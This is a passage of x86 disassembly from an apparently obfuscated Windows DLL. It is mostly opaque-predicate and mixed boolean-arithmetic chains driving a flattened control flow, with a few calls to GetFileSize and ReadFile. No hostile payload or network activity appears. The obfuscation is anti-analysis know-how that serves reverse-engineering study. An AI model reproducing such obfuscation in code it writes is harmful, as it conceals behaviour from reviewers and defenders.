and ebx, 0xa34d3963
or ebx, edx
mov edx, eax
xor edx, 0xa4ff5632
mov dword [ebp - 0x14], edx
and edx, 0xbbbb5f8
or ecx, edx
mov edx, ebx
xor edx, 0xa34d3963
mov edi, ebx
xor edi, 0x57097364
and edi, edx
and esi, 0xf4444a07
or esi, edi
mov edi, esi
xor edi, esi
not edi
and edi, ecx
xor edi, esi
xor eax, 0x5b00a9cd
mov ecx, eax
and ecx, 0xa3b9ab01
mov esi, dword [ebp - 0x14]
and esi, 0x5c4654fe
or esi, ecx
xor ebx, 0x5cb2c69c
or eax, ebx
and ebx, 0xa3b9ab01
and edx, 0x5c4654fe
or edx, ebx
xor edx, esi
not eax
or eax, edx
not eax
or eax, edi
mov edx, eax
mov ecx, eax
xor ecx, 0x989a1435
and ecx, eax
or eax, 0x6765ebca
not edx
mov esi, ecx
not esi
mov edi, eax
and edi, 0x9c731318
and edx, 0x880425
or edx, edi
or eax, esi
and esi, 0x9c731318
and ecx, 0x638cece7
or ecx, esi
xor ecx, edx
not eax
or eax, ecx
mov esi, eax
not esi
mov ecx, esi
and ecx, 0x30ea059
mov edx, eax
and edx, 0xfcf15fa6
or edx, ecx
mov ecx, edx
xor ecx, 0x30ea059
xor edx, 0x78b05506
and esi, 0x8910e191
and eax, 0x76ef1e6e
or eax, esi
mov esi, eax
xor esi, 0x70ae144e
xor eax, 0x8910e191
mov edi, ecx
and edi, 0x86410aa0
and edx, 0x79bef55f
or edx, edi
or ecx, eax
and eax, 0x86410aa0
and esi, 0x79bef55f
or esi, eax
xor esi, edx
not ecx
or ecx, esi
xor ecx, 0xffffffff
setne cl
sete dh
cmp dword [0x10049904], 0xa
setge bh
mov byte [ebp - 0x18], bh
setl dl
mov byte [ebp - 0x14], dl
mov ch, dh
inc ch
mov byte [ebp - 0x1c], ch
and ch, dh
mov ah, cl
inc ah
mov al, ah
and al, cl
xor al, 1
or al, ah
xor al, 1
or al, cl
mov cl, al
xor cl, 1
mov ah, cl
xor ah, dl
mov bl, ah
and bl, al
xor bl, 1
or al, dl
or bl, ah
xor bl, 1
or bl, al
mov al, bl
xor al, 1
and ah, cl
or cl, bh
xor cl, 1
or cl, ah
mov ah, cl
xor ah, dl
or cl, dl
xor cl, 1
or cl, ah
mov bh, cl
xor bh, 1
and cl, al
mov dl, bl
and dl, bh
or dl, cl
xor bh, bl
and bl, bh
xor bl, 1
mov eax, ebx
xor al, bh
or bl, bh
xor bl, 1
or bl, al
xor dl, 1
mov eax, edx
or al, bl
xor al, 1
xor dl, bl
or dl, al
mov byte [ebp - 0x20], dl
mov bl, dh
xor ch, 1
mov bh, dh
xor bh, ch
or ch, dh
movzx eax, byte [ebp - 0x14]
mov dl, al
mov cl, dh
xor cl, al
or al, dh
mov byte [ebp - 0x14], al
and cl, dh
mov al, dh
mov ah, byte [ebp - 0x18]
xor al, ah
or bl, ah
xor ch, 1
or ch, bh
mov dh, cl
xor dh, 1
or dh, bl
xor bl, 1
or al, bl
xor dl, ah
and dl, ch
xor dl, ah
mov ch, dl
xor ch, ah
and ch, dl
mov dl, al
xor dl, 1
mov bh, al
and bh, dl
xor bh, 1
mov ah, dl
xor ah, bh
or bh, dl
xor bh, 1
or bh, ah
xor ch, 1
xor bh, ch
xor bh, 1
or ch, al
mov al, bh
xor al, ch
or ch, bh
xor ch, 1
or ch, al
movzx eax, byte [ebp - 0x1c]
xor al, byte [ebp - 0x18]
mov dl, byte [ebp - 0x14]
xor dl, 1
or dl, al
xor cl, bl
xor dh, 1
or dh, cl
mov al, dh
xor al, 1
or al, dl
xor dh, dl
mov cl, al
xor cl, dh
or dh, al
xor dh, 1
or dh, cl
mov al, ch
xor al, 1
xor ch, dh
xor ch, 1
or ch, al
mov dl, ch
xor dl, 1
xor al, dh
mov cl, al
xor cl, 1
and al, ch
or ch, cl
xor ch, 1
and cl, dl
or cl, al
or cl, ch
mov eax, ecx
xor al, 1
and al, cl
xor al, 1
mov edx, ecx
xor dl, al
or al, cl
xor al, 1
or al, dl
mov edx, eax
xor dl, 1
mov ecx, eax
and cl, dl
xor cl, 1
or cl, dl
xor cl, 1
or cl, al
mov dh, cl
xor dh, 1
movzx ebx, byte [ebp - 0x20]
mov ch, bl
xor ch, 1
mov al, dh
and al, cl
xor al, 1
or al, cl
xor al, 1
or al, dh
mov dl, al
xor dl, 1
xor dh, ch
and dh, cl
or cl, ch
xor cl, 1
or cl, dh
mov ah, dl
and ah, bl
and dl, ch
and ch, al
or ch, ah
xor ch, 1
mov ah, bl
or ch, bl
mov dh, ch
xor dh, 1
and al, bl
or dl, al
mov ah, dl
xor ah, 1
mov al, ch
and al, dh
xor al, 1
or al, dh
xor al, 1
or al, ch
xor al, ah
xor ah, ch
or dl, dh
xor dl, 1
or dl, ah
xor dl, 1
or dl, al
mov eax, edx
xor al, 1
and dl, al
xor dl, 1
mov ah, al
xor ah, dl
or dl, al
xor dl, 1
or dl, ah
mov eax, edx
xor al, 1
mov ch, al
and ch, dl
xor ch, 1
mov ah, ch
xor ah, dl
or ch, dl
xor ch, 1
or ch, ah
mov ah, cl
xor ah, 1
xor ch, ah
and ah, al
and dl, cl
or dl, ah
or al, cl
mov cl, ch
xor cl, 1
xor al, 1
or al, dl
mov edx, eax
xor dl, 1
and dl, ch
or ch, al
and al, cl
or al, dl
mov cl, ch
xor cl, al
test al, 1
mov eax, 0xf645008d
mov esi, 0x11f249c6
cmovne eax, esi
test ch, 1
mov edx, 0xf645008d
jmp 0x10024d3b
mov eax, dword [ebp - 0x3c]
push 0
push dword [eax]
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov ecx, dword [ebp - 0x44]
mov dword [ecx], eax
mov eax, dword [ebp - 0x44]
mov eax, 0x11f249c6
jmp 0x1000f5c0
mov eax, dword [ebp - 0x5c]
mov dword [eax], 0
mov eax, dword [ebp - 0x44]
mov ecx, dword [ebp - 0x40]
mov edx, dword [ebp - 0x3c]
push 0
push dword [ebp - 0x5c]
push dword [eax]
push dword [ecx]
push dword [edx]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
setne byte [ebp - 0x56]
mov eax, dword [0x10049900]
lea ecx, [eax + 1]
imul ecx, eax
mov dword [ebp - 0x20], ecx
mov edx, ecx
not edx
mov dword [ebp - 0x14], edx
mov eax, ecx
xor eax, 0x99553ac
and eax, ecx
or edx, eax
not eax
and eax, 0xf66aac53
and edx, 0x99553ac
or edx, eax
mov eax, edx
not eax
and edx, 0xd54b49c5
and eax, 0x2ab4b63a
or eax, edx
mov edx, eax
xor edx, 0x2ab4b63a
mov esi, eax
xor esi, 0x44000880
and esi, 0x44100882
xor eax, 0xfec4eea4
and eax, edx
and edx, 0x9060501c
or edx, esi
xor edx, 0x9060501c
or eax, edx
mov esi, eax
xor esi, 0xd470589e
mov edx, eax
xor edx, 0x8822421
and edx, 0x8cc224b5
xor eax, 0x18977d69
and eax, esi
and esi, 0x40250142
or esi, edx
xor esi, 0x40250142
or esi, eax
not eax
and eax, 0x3318da08
and esi, 0xcce725f7
or esi, eax
mov ecx, esi
not ecx
mov edi, esi
xor edi, 0x92e73d11
mov ebx, edi
and ebx, ecx
mov edx, ebx
not edx
mov eax, edx
and eax, 0xb1ad4cfa
and ebx, 0x4e52b305
or ebx, eax
and edi, esi
mov eax, edi
not eax
or edx, eax
and eax, 0xb1ad4cfa
and edi, 0x4e52b305
or edi, eax
xor edi, ebx
not edx
or edx, edi
and esi, 0x72fb9248
mov eax, ecx
and eax, 0x8d046db7
or eax, esi
xor eax, 0xda78c062
and ecx, 0xa883522a
or ecx, eax
mov esi, edx
xor esi, 0xc58200c0
xor edx, 0x3a646f3b
mov eax, edx
and eax, 0x21df73f
and esi, 0xfde208c0
or esi, eax
xor esi, ecx
xor esi, 0xfde208c0
or edx, ecx
not edx
or edx, esi
mov eax, edx
xor eax, 0xc3923dfb
and eax, edx
not edx
and edx, 0xc3923dfb
or edx, eax
not eax
and eax, 0x3c6dc204
and edx, 0xc3923dfb
or edx, eax
mov esi, edx
not esi
mov eax, esi
and eax, 0x557bca5c
and edx, 0xaa8435a3
or edx, eax
mov edi, dword [ebp - 0x14]
mov eax, edi
xor edx, 0x557bca5c
xor esi, edx
and esi, edx
and eax, 0xdc70a59
mov ecx, dword [ebp - 0x20]
mov ebx, ecx
and ebx, 0xf238f5a6
or ebx, eax
mov edx, edi
mov eax, edi
and eax, 0x563590dd
mov edi, ecx
and edi, 0xa9ca6f22
or edi, eax
xor edi, 0x589f7c70
or edi, edx
mov dword [ebp - 0x30], edi
mov eax, edx
xor ebx, 0xf238f5a6
and eax, ecx
or eax, ebx
mov edx, eax
not edx
mov ecx, edx
and edx, 0xa883522a
mov edi, eax
and edi, 0x577cadd5
or edi, edx
or ecx, 0x577cadd5
mov edx, ecx
and edx, 0xf0718b5a
and eax, 0x8825020
or eax, edx
mov edx, edi
not edx
or ecx, edx
and edx, 0xf0718b5a
and edi, 0xf8e74a5
or edi, edx
xor edi, eax
not ecx
or ecx, edi
mov eax, ecx
not eax
mov edx, ecx
and edx, 0x64924730
mov edi, eax
and eax, 0x9b6db8cf
or eax, edx
and edi, ecx
mov edx, edi
not edx
or ecx, edx
and edx, 0x64924730
and edi, 0x9b6db8cf
or edi, edx
xor edi, eax
not ecx
or ecx, edi
mov dword [ebp - 0x1c], esi
mov edx, esi
not edx
mov eax, edx
and eax, 0xf8a5f954
and esi, 0x75a06ab
or esi, eax
mov eax, ecx
not eax
mov edi, eax
and edi, 0x9a9bc9bc
mov ebx, ecx
and ebx, 0x65643643
or ebx, edi
mov edi, ebx
xor edi, 0x2242
xor ebx, 0x8a180000
or ebx, 0x1071828
and ebx, 0xcf3f1c29
and edi, 0x8022c6
or edi, ebx
mov ebx, eax
and ebx, 0x41c91c6
mov dword [ebp - 0x18], ecx
and ecx, 0xfbe36e39
or ecx, ebx
not ecx
or ecx, eax
or eax, 0xce380401
and eax, 0xcf3f1c29
mov ebx, dword [ebp - 0x18]
and ebx, 0x3040c110
or ebx, eax
xor ebx, edi
mov eax, esi
xor eax, 0x75a06ab
mov dword [ebp - 0x24], eax
xor esi, 0xf8a5f954
mov dword [ebp - 0x28], esi
and esi, 0xfbe36e39
mov eax, dword [ebp - 0x24]
and eax, 0x41c91c6
or eax, esi
mov edi, edx
and edi, 0x26b83a48
mov esi, dword [ebp - 0x1c]
and esi, 0xd947c5b7
or esi, edi
xor esi, 0x22a4ab8e
xor edx, esi
and edx, esi
mov edi, ebx
xor edi, 0x3147d938
mov dword [ebp - 0x34], edi
xor ebx, 0xceb826c7
mov dword [ebp - 0x18], ebx
mov esi, ebx
and esi, 0x88084
mov ebx, edi
and ebx, 0x4141142
or ebx, esi
mov esi, edx
not esi
mov edi, esi
and edi, 0xaabeb90f
and edx, 0x554146f0
or edx, edi
not eax
or eax, dword [ebp - 0x28]
xor edx, eax
or esi, eax
xor edx, 0x554146f0
not esi
or esi, edx
mov dword [ebp - 0x4c], esi
mov edx, ecx
not edx
mov dword [ebp - 0x38], edx
mov eax, ecx
and eax, 0x6fa9cc3e
and edx, 0x905633c1
or edx, eax
mov dword [ebp - 0x2c], edx
mov esi, ebx
xor esi, 0x4141142
or esi, 0xfbe36e39
mov edx, esi
not edx
mov eax, edx
or eax, 0x905633c1
mov dword [ebp - 0x14], eax
and dword [ebp - 0x14], 0x145c1103
mov dword [ebp - 0x1c], esi
and dword [ebp - 0x1c], 0xba1840c
mov edi, dword [ebp - 0x14]
add dword [ebp - 0x1c], edi
xor ebx, 0x4000082
and ebx, edx
mov dword [ebp - 0x14], ebx
not dword [ebp - 0x14]
or eax, dword [ebp - 0x14]
and dword [ebp - 0x14], 0x745c5933
and ebx, 0x80c4
add ebx, dword [ebp - 0x14]
xor ebx, dword [ebp - 0x1c]
not eax
or eax, ebx
mov ebx, dword [ebp - 0x2c]
xor ebx, ebx
not ebx
and ebx, eax
xor ebx, dword [ebp - 0x2c]
mov eax, edx
and eax, 0x40000c6
and esi, 0x17f9d20
or esi, eax
mov eax, dword [ebp - 0x38]
or edx, eax
and eax, 0xfe8062df
and ecx, 0x17f9d20
or ecx, eax
xor ecx, esi
not edx
or edx, ecx
mov eax, ebx
not eax
mov ecx, eax
and ecx, 0x8be3fcba
and ebx, 0x741c0345
or ebx, ecx
mov ecx, edx
not ecx
or eax, edx
and edx, 0x8be3fcba
and ecx, 0x741c0345
or ecx, edx
xor ecx, ebx
not eax
or eax, ecx
mov edi, dword [ebp - 0x4c]
mov ecx, edi
not ecx
mov edx, edi
or edx, 0x6100401
and edx, 0xa6114713
mov esi, ecx
and ecx, 0x60a004
or ecx, edx
or esi, 0xa0014312
and esi, 0xa6114713
and edi, 0x598e18e8
or edi, esi
xor edi, ecx
xor eax, 0xa061e316
mov ecx, eax
xor ecx, eax
not ecx
and ecx, edi
xor ecx, eax
mov esi, dword [ebp - 0x28]
mov eax, esi
and esi, 0xdcf83abe
mov edx, dword [ebp - 0x24]
and edx, 0x2307c541
or edx, esi
mov esi, dword [ebp - 0x18]
or eax, esi
and esi, 0xdcf83abe
mov edi, dword [ebp - 0x34]
and edi, 0x2307c541
or edi, esi
xor edi, edx
mov edx, edi
not edx
mov esi, edx
and esi, 0x56883cd7
and edi, 0xa977c328
or edi, esi
xor edi, eax
or edx, eax
xor edi, 0xa977c328
not edx
or edx, edi
mov eax, edx
not eax
mov esi, eax
and esi, 0x27e6b8e3
and eax, edx
and edx, 0xd819471c
or edx, esi
mov esi, edx
xor esi, 0x8084210
xor edx, 0x27e6b8e3
mov edi, edx
and edi, 0xd2171dec
and esi, 0x2de8e213
or esi, edi
mov edi, eax
not edi
or edx, edi
and edi, 0xd2171dec
and eax, 0x2de8e213
or eax, edi
xor eax, esi
not edx
or edx, eax
mov esi, edx
not esi
mov eax, esi
and eax, 0x68b43558
and edx, 0x974bcaa7
or edx, eax
xor edx, 0x68b43558
xor esi, edx
and esi, edx
mov eax, esi
not eax
mov dword [ebp - 0x14], eax
and eax, 0xea890923
mov edx, esi
xor edx, 0xea890923
and edx, esi
or edx, eax
mov dword [ebp - 0x18], edx
mov edi, ecx
not edi
mov dword [ebp - 0x1c], edi
mov ebx, ecx
xor ebx, 0xea890923
and ebx, edi
mov eax, ebx
not eax
mov edx, eax
and edx, 0xa5fa897f
and ebx, 0x5a057680
or ebx, edx
or edi, 0xea890923
or eax, edi
and edi, 0xa5fa897f
mov edx, ecx
and edx, 0x10047680
or edx, edi
xor edx, ebx
not eax
or eax, edx
mov edi, dword [ebp - 0x18]
mov edx, edi
xor edx, edi
not edx
and edx, eax
xor edx, edi
mov eax, ecx
and eax, 0x639eb363
mov edi, dword [ebp - 0x1c]
and edi, 0x9c614c9c
or edi, eax
or ecx, esi
and esi, 0x639eb363
mov eax, dword [ebp - 0x14]
and eax, 0x9c614c9c
or eax, esi
xor eax, edi
not ecx
or ecx, eax
not ecx
or ecx, edx
mov eax, ecx
not eax
mov edx, ecx
and edx, 0x602861d0
mov esi, eax
and esi, 0x9fd79e2f
or esi, edx
mov edx, eax
and edx, ecx
mov edi, edx
not edi
mov ebx, ecx
or ebx, edi
and edi, 0x602861d0
and edx, 0x9fd79e2f
or edx, edi
xor edx, esi
not ebx
or ebx, edx
and eax, 0x59d8985a
and ecx, 0xa62767a5
or ecx, eax
mov edx, ecx
xor edx, 0xa62767a5
xor ecx, 0x89818
and ecx, 0x2229b9bc
mov eax, edx
and eax, 0xddd64643
or eax, ecx
not ebx
or ebx, 0xf5d19daf
xor eax, 0x2807dbec
and edx, 0xa2e6250
or edx, eax
mov ecx, edx
xor ecx, ebx
or edx, ebx
mov eax, ecx
not eax
mov esi, eax
and esi, 0xf2cbfe2
and ecx, 0xf0d3401d
or ecx, esi
or eax, edx
and edx, 0xf2efff2
xor edx, ecx
xor edx, 0x24010
not eax
or eax, edx
mov ecx, eax
not ecx
mov edx, eax
xor edx, 0x5d52cf84
and edx, eax
or eax, 0xa2ad307b
mov esi, eax
and esi, 0xd1c6927e
and ecx, 0xc104d80
or ecx, esi
mov esi, edx
not esi
or eax, esi
and esi, 0xd1c6927e
and edx, 0x2e396d81
or edx, esi
xor edx, ecx
not eax
or eax, edx
mov ecx, eax
not ecx
mov edx, eax
or edx, 0x1971a150
and edx, 0xf9f9fb52
mov esi, ecx
and ecx, 0x4000480
or ecx, edx
or esi, 0xe0885a02
and esi, 0xf9f9fb52
and eax, 0x206002d
or eax, esi
xor eax, ecx
mov ecx, eax
xor ecx, 0x10602175
xor eax, 0xc4801a02
and ecx, 0x306865f5
and eax, 0xcf979a0a
or eax, ecx
mov edx, eax
xor edx, 0xcf979a0a
xor eax, 0x200010
and eax, 0x42240218
mov ecx, edx
and ecx, 0x11882060
or ecx, eax
xor ecx, 0x42240218
and edx, 0xac53dd87
or edx, ecx
mov dword [ebp - 0x18], edx
mov eax, dword [ebp - 0x20]
mov ecx, eax
or ecx, 0xeaaecad
mov edi, ecx
not edi
and ecx, 0xb9290cc4
xor eax, 0x510110
and eax, edi
and edi, 0x40541312
or edi, ecx
mov ecx, edi
xor ecx, 0xb9290cc4
mov esi, ecx
or esi, 0x4d36931
mov edx, edi
xor edi, 0x42009208
mov ebx, esi
and ebx, 0x11d56032
and edi, 0xea20964c
or edi, ebx
mov ebx, eax
not ebx
or esi, ebx
and ebx, 0x11dd60b2
and eax, 0xe0001340
or eax, ebx
xor eax, edi
not esi
or esi, eax
mov eax, dword [ebp - 0x30]
mov edi, eax
xor edi, 0x502801
mov ebx, eax
xor ebx, 0x782c9086
and ebx, 0x7cafd1b6
and edi, 0x83502e49
or edi, ebx
xor edi, esi
xor edx, 0x4250612a
mov esi, ecx
and esi, 0x81051210
and edx, 0x72706d6e
or edx, esi
mov esi, eax
not esi
or ecx, esi
and esi, 0x8d8f9291
and eax, 0x72706d6e
or eax, esi
xor edi, 0x7cafd1b6
xor eax, edx
not ecx
or ecx, eax
not ecx
or ecx, edi
mov ebx, dword [ebp - 0x18]
mov esi, ebx
mov eax, ebx
xor eax, 0x5d76a6d2
and eax, ebx
mov dword [ebp - 0x14], eax
not ebx
mov edx, ebx
and edx, 0x9dde7a19
and esi, 0x622185e6
or esi, edx
mov eax, ecx
xor eax, 0xeaaecad
mov edi, ecx
xor edi, 0xf1551352
xor ecx, 0x53dc4a7f
mov edx, edi
and edi, ecx
and ecx, eax
and eax, 0x9dde7a19
and edx, 0x622185e6
or edx, eax
xor edx, esi
not edx
or edx, ebx
and ebx, 0x5d76a6d2
or dword [ebp - 0x14], ebx
mov esi, edi
not esi
mov eax, esi
and eax, 0x7df1e70
and edi, 0xf820e18f
or edi, eax
mov eax, ecx
not eax
or esi, eax
and eax, 0x7df1e70
and ecx, 0xf820e18f
or ecx, eax
xor ecx, edi
mov edi, edx
not edi
not esi
or esi, ecx
mov ecx, esi
xor ecx, esi
not ecx
and ecx, dword [ebp - 0x14]
xor ecx, esi
mov eax, ecx
not eax
mov esi, edi
xor esi, eax
and esi, edi
and edx, 0xdb531509
and edi, 0x24aceaf6
or edi, edx
and eax, 0xdb531509
and ecx, 0x24aceaf6
or ecx, eax
xor ecx, edi
or ecx, esi
mov eax, ecx
not eax
mov edx, eax
and edx, 0x418281db
mov esi, ecx
and esi, 0x106c6e20
or esi, edx
xor esi, 0xef9391df
mov ebx, esi
or ebx, 0xee1391df
or eax, 0x1884820
and ecx, 0xee131118
and eax, 0x188c8e7
or eax, ecx
mov ecx, eax
xor ecx, 0x188c8e7
mov edx, eax
xor edx, 0xfe773718
xor eax, 0x5c2bd11e
and edx, eax
and eax, ecx
mov edi, ebx
not edi
mov ecx, edi
or ecx, 0x86200
and ecx, 0x1886200
and ebx, 0x102008b1
or ebx, ecx
or esi, 0x41811100
and esi, 0x41897300
and edi, 0x440400
or edi, esi
xor edi, ebx
mov ecx, edx
not ecx
mov esi, ecx
and esi, 0x251f7c3
and edx, 0xed82081c
or edx, esi
mov esi, eax
not esi
or ecx, esi
and esi, 0x1271f7e3
and eax, 0xec02001c
or eax, esi
xor eax, edx
not ecx
or ecx, eax
xor ecx, edi
mov edi, ecx
xor edi, 0xe2119197
xor ecx, 0x1dee6e68
mov eax, edi
and eax, 0xac6cd250
mov esi, ecx
and esi, 0x53932daf
or esi, eax
mov eax, esi
xor eax, 0x53932daf
mov dword [ebp - 0x14], eax
mov ebx, esi
xor ebx, 0xf305a4b3
and ebx, eax
mov eax, ebx
not eax
mov edx, eax
and edx, 0x72be2e7c
and ebx, 0x8d41d183
or ebx, edx
or edi, 0x5f6976e3
or eax, edi
and edi, 0x72be2e7c
and ecx, 0x80008100
or ecx, edi
xor ecx, ebx
not eax
or eax, ecx
xor esi, 0xac285210
and esi, 0xefa85a95
mov edi, dword [ebp - 0x14]
mov ecx, edi
and ecx, 0x1057a56a
or ecx, esi
mov edx, eax
xor edx, 0x166950e0
xor ecx, 0x1057a56a
or ecx, edi
xor eax, 0xa096891c
mov esi, eax
and esi, 0x4912a613
and edx, 0xb6ed59ec
or edx, esi
xor edx, ecx
xor edx, 0xb6ed59ec
or eax, ecx
not eax
or eax, edx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0x6618100
mov esi, eax
and esi, 0x210c00b0
or esi, edx
mov edx, esi
xor edx, 0x21080020
xor esi, 0x6b12102
and esi, 0x6b52192
and edx, 0x21488020
or edx, esi
or ecx, 0x6250190
and ecx, 0x6b52192
and eax, 0xd8025e4d
or eax, ecx
xor eax, edx
mov ecx, eax
xor ecx, 0xd002224c
xor eax, 0x212c8110
and eax, 0x29bcdd13
and ecx, 0xd64322ec
or ecx, eax
mov eax, ecx
xor eax, 0x4401202c
xor ecx, 0x29181513
and ecx, 0xbb5a17d3
and eax, 0x44a5e82c
or eax, ecx
xor eax, 0x44a5e82c
setne ch
sete cl
cmp dword [0x10049904], 0xa
setl ah
setge dl
mov al, ch
mov bl, ah
or bl, ch
mov dh, ah
xor dh, ch
or ch, dl
xor ch, 1
and dh, dl
or dh, ch
mov ch, dh
and dh, dl
and dl, cl
and al, ah
or al, dl
mov dl, al
xor dl, cl
and dl, al
xor dl, 1
mov al, bl
xor al, dl
or dl, bl
xor al, 1
mov ebx, eax
xor bl, dl
or al, dl
xor al, 1
or al, bl
xor ch, 1
mov dl, ah
xor dl, cl
and cl, dl
and dl, ah
and ah, ch
or dh, ah
xor ch, dh
and ch, dh
mov ah, cl
xor ah, 1
xor cl, dl
xor dl, 1
or dl, ah
xor dl, 1
or dl, cl
mov ah, ch
xor ah, 1
mov cl, ah
and cl, ch
xor ah, cl
xor cl, 1
or cl, ch
xor cl, 1
or cl, ah
mov ah, dl
xor ah, 1
mov ebx, ecx
xor bl, 1
mov dh, dl
and dh, ah
xor dh, 1
mov ch, dh
xor ch, dl
or dh, dl
xor dh, 1
or dh, ch
mov ch, bl
and ch, cl
and ah, bl
xor bl, ch
xor ch, 1
or ch, cl
xor ch, 1
or ch, bl
mov bl, ch
and ch, dh
xor dh, 1
xor bl, 1
and bl, dh
or ch, bl
mov dh, cl
xor dh, dl
and dh, cl
and cl, dl
or cl, ah
or cl, dh
xor cl, 1
mov dl, ch
xor dl, cl
or cl, ch
xor cl, 1
or cl, dl
xor cl, 1
or cl, dl
mov ah, cl
xor ah, 1
mov edx, ecx
and dl, ah
xor dl, 1
or dl, ah
xor dl, 1
or dl, cl
mov ah, dl
xor ah, 1
mov ecx, edx
and cl, ah
xor cl, 1
or cl, dl
xor cl, 1
or cl, ah
mov edx, ecx
xor dl, 1
mov ah, dl
and ah, cl
xor dl, ah
xor ah, 1
or ah, cl
xor ah, 1
or ah, dl
mov cl, ah
xor cl, 1
mov ch, al
xor ch, 1
mov edx, ecx
xor dl, ch
and ch, al
xor ch, 1
mov dh, al
xor dh, ch
or ch, al
or al, cl
mov ebx, edx
xor bl, al
or dl, al
xor dl, 1
or dl, bl
mov al, dl
xor al, 1
xor ch, 1
or ch, dh
and cl, ah
xor cl, 1
mov dh, ah
xor dh, cl
or cl, ah
xor cl, 1
or cl, dh
mov ah, cl
or cl, ch
xor ch, 1
xor ah, 1
or ah, ch
mov ch, cl
xor ch, ah
or cl, ah
xor cl, 1
or cl, ch
mov ch, cl
xor ch, 1
mov dh, ch
and dh, dl
mov ah, al
and ah, cl
or ah, dh
xor ah, 1
or ah, dl
or ch, al
xor ch, 1
xor cl, al
and cl, al
or cl, ch
mov al, ah
xor al, cl
xor cl, 1
or cl, ah
mov edx, eax
xor dl, cl
test al, 1
mov eax, 0x1ff07fd7
mov esi, 0x88206d61
cmovne eax, esi
test cl, 1
cmovne eax, esi
not dl
test dl, 1
mov ecx, 0x1ff07fd7
cmove eax, ecx
jmp 0x1000f5c0
mov eax, dword [0x10049900]
lea edx, [eax + 1]
imul edx, eax
mov eax, edx
not eax
mov ecx, eax
mov edi, eax
and ecx, 0x805ca019
mov eax, edx
mov esi, edx
and eax, 0x48801820
or eax, ecx
xor eax, 0xb77fe7df
mov ecx, eax
and ecx, 0x877fa1ff
mov edx, edi
and edx, 0x48801800
or edx, ecx
mov ecx, esi
xor ecx, 0xc8dcb839
and ecx, esi
mov ebx, esi
mov dword [ebp - 0x1c], esi
mov esi, ecx
not esi
or eax, esi
and esi, 0x877fa1ff
and ecx, 0x78805e00
or ecx, esi
xor ecx, edx
not eax
or eax, ecx
mov ecx, eax
xor ecx, 0x37014144
xor eax, 0xdc1821
and eax, 0xfe1ea3
and ecx, 0xff01e15c
or ecx, eax
mov eax, ecx
xor eax, 0xfe1ea3
and eax, ecx
mov ecx, ebx
and ecx, 0x69a805d7
mov edx, edi
mov dword [ebp - 0x18], edi
mov esi, edi
and esi, 0x9657fa28
or esi, ecx
xor esi, 0x96a9e48b
and edx, 0xff01e15c
or edx, esi
mov ecx, eax
not ecx
mov dword [ebp - 0x20], ecx
mov edi, eax
xor edi, 0xa8bbbe66
mov ebx, edi
and ebx, ecx
mov esi, ebx
not esi
mov ecx, esi
and ecx, 0xff0ea406
and ebx, 0xf15bf9
or ebx, ecx
and edi, eax
mov ecx, edi
not ecx
or esi, ecx
and ecx, 0xff0ea406
and edi, 0xf15bf9
or edi, ecx
xor edi, ebx
not esi
or esi, edi
mov ecx, edx
xor ecx, 0x57444199
and ecx, edx
mov ebx, ecx
not ebx
mov edi, ebx
and edi, 0xede2f46
and ecx, 0xf121d0b9
or ecx, edi
mov dword [ebp - 0x24], edx
mov edi, edx
not edi
mov dword [ebp - 0x14], edi
or edx, 0xa8bbbe66
or ebx, edx
and edx, 0xede2f46
mov edi, dword [ebp - 0x14]
and edi, 0x51004099
or edi, edx
xor edi, ecx
not ebx
or ebx, edi
mov ecx, ebx
xor ecx, ebx
not ecx
and ecx, esi
xor ecx, ebx
mov edx, eax
and edx, 0xc208b893
mov esi, dword [ebp - 0x20]
and esi, 0x3df7476c
or esi, edx
mov edx, dword [ebp - 0x14]
or eax, edx
and edx, 0xc208b893
mov edi, edx
mov edx, dword [ebp - 0x24]
and edx, 0x3df7476c
or edx, edi
xor edx, esi
not eax
or eax, edx
not eax
or eax, ecx
mov ecx, eax
xor ecx, 0xfe1ea3
xor eax, 0xff01e15c
mov edx, eax
and edx, 0xf66b251f
and eax, ecx
and ecx, 0x994dae0
or ecx, edx
mov edx, ecx
xor edx, 0x41880
xor ecx, 0xf66b251f
mov esi, ecx
and esi, 0x8fb9e27a
and edx, 0x70461d85
or edx, esi
mov esi, eax
not esi
or ecx, esi
and esi, 0x8fb9e27a
and eax, 0x70461d85
or eax, esi
xor eax, edx
not ecx
or ecx, eax
mov eax, ecx
not eax
mov edx, eax
or edx, 0x975c8142
or ecx, 1
and edx, 0x975c8143
and ecx, 0x975c8143
and eax, 0x68a37ebc
or eax, ecx
xor eax, edx
mov edx, eax
not edx
mov ecx, edx
and ecx, 0x200cda32
and eax, 0xdff325cd
or eax, ecx
xor eax, 0x200cda33
xor edx, eax
and edx, eax
mov dword [ebp - 0x24], edx
mov edi, dword [ebp - 0x1c]
mov eax, edi
or eax, 0x84509110
and eax, 0x86dfb539
mov esi, dword [ebp - 0x18]
mov ecx, esi
and ecx, 0x78000880
or ecx, eax
mov eax, esi
or eax, 0x28f2429
and eax, 0x86dfb539
and edi, 0x1204246
or edi, eax
xor edi, ecx
mov eax, edi
xor eax, 0x5300240
mov ebx, edi
xor ebx, 0x7a8f2ca9
mov ecx, ebx
and ecx, 0xf849d1b6
and eax, 0x7b62e49
or eax, ecx
mov edx, eax
xor edx, 0x7b62e49
mov esi, eax
xor esi, 0xf2fd2c9c
and esi, edx
mov ecx, esi
not ecx
mov dword [ebp - 0x14], ecx
and dword [ebp - 0x14], 0x167c7158
and esi, 0xe9838ea7
add esi, dword [ebp - 0x14]
or ebx, 0xab4fd2a
xor edi, 0x81000204
or ecx, ebx
and ebx, 0x167c7158
and edi, 0xe1030285
or edi, ebx
xor edi, esi
not ecx
or ecx, edi
xor eax, 0xf8001086
and eax, 0xfd06388e
and edx, 0x2f9c770
or edx, eax
mov eax, ecx
xor eax, 0xf54b02d4
xor ecx, 0xab4fd2b
mov esi, ecx
and esi, 0xd2a5167d
and eax, 0x2d5ae982
or eax, esi
mov esi, edx
xor esi, 0x58c100
xor edx, 0xfd06388f
or ecx, edx
and edx, 0xd2a5167d
and esi, 0x2d5ae982
or esi, edx
xor esi, eax
not ecx
or ecx, esi
mov eax, ecx
not eax
mov edx, eax
and edx, 0xe9f70688
and eax, ecx
and ecx, 0x1608f977
or ecx, edx
mov edx, ecx
xor edx, 0x14006942
xor ecx, 0xe9f70688
mov esi, ecx
and esi, 0xa2a9235
and edx, 0xf5d56dca
or edx, esi
mov esi, eax
not esi
or ecx, esi
and esi, 0xa2a9235
and eax, 0xf5d56dca
or eax, esi
xor eax, edx
not ecx
or ecx, eax
mov edi, ecx
not edi
mov edx, edi
